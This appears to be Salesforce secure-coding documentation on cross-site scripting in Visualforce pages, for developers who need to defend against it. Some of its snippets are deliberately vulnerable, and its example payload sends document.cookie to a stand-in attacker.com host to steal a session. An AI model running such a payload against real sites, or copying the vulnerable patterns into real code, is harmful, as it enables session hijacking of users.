Newer Version Available
Cross Site Scripting (XSS)
Cross-site scripting (XSS) attacks cover a broad range of attacks where malicious HTML or client-side scripting is provided to a Web application. The Web application includes malicious scripting in a response to a user of the Web application. The user then unknowingly becomes the victim of the attack. The attacker has used the Web application as an intermediary in the attack, taking advantage of the victim's trust for the Web application. Most applications that display dynamic Web pages without properly validating the data are likely to be vulnerable. Attacks against the website are especially easy if input from one user is intended to be displayed to another user. Some obvious possibilities include bulletin board or user comment-style websites, news, or email archives.
1<script>var foo = '{!$CurrentPage.parameters.userparam}';script>var foo = '{!$CurrentPage.parameters.userparam}';</script>11';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2In this case, all of the cookies for the current page are sent to www.attacker.com as the query string in the request to the cookie.cgi script. At this point, the attacker has the victim's session cookie and can connect to the Web application as if they were the victim.
The attacker can post a malicious script using a Website or email. Web application users not only see the attacker's input, but their browser can execute the attacker's script in a trusted context. With this ability, the attacker can perform a wide variety of attacks against the victim. These range from simple actions, such as opening and closing windows, to more malicious attacks, such as stealing data or session cookies, allowing an attacker full access to the victim's session.
Within the Lightning platform there are several anti-XSS defenses in place. For example, Salesforce has implemented filters that screen out harmful characters in most output methods. For the developer using standard classes and output methods, the threats of XSS flaws have been largely mitigated. However, the creative developer can still find ways to intentionally or accidentally bypass the default controls. The following sections show where protection does and does not exist.
Existing Protection
1<apex:outputText>
2 {!$CurrentPage.parameters.userInput}
3</apex:outputText>Disabling Escape on Visualforce Tags
1<apex:outputText escape="false" value="{!$CurrentPage.parameters.userInput}" />Programming Items Not Protected from XSS
- Custom JavaScript
- If you write your own JavaScript, the Lightning platform has no way
to protect you. For example, the following code is vulnerable to XSS
if used in
JavaScript.
1<script> 2 var foo = location.search; 3 document.write(foo); 4</script> - <apex:includeScript>
- The <apex:includeScript>
Visualforce component allows you to include a custom script on the
page. In these cases, be very careful to validate that the content
is safe and does not include user-supplied data. For example, the
following snippet is extremely vulnerable because it includes
user-supplied input as the value of the script text. The value
provided by the tag is a URL to the JavaScript to include. If an
attacker can supply arbitrary data to this parameter (as in the
example below), they can potentially direct the victim to include
any JavaScript file from any other
website.
1<apex:includeScript value="{!$CurrentPage.parameters.userInput}" />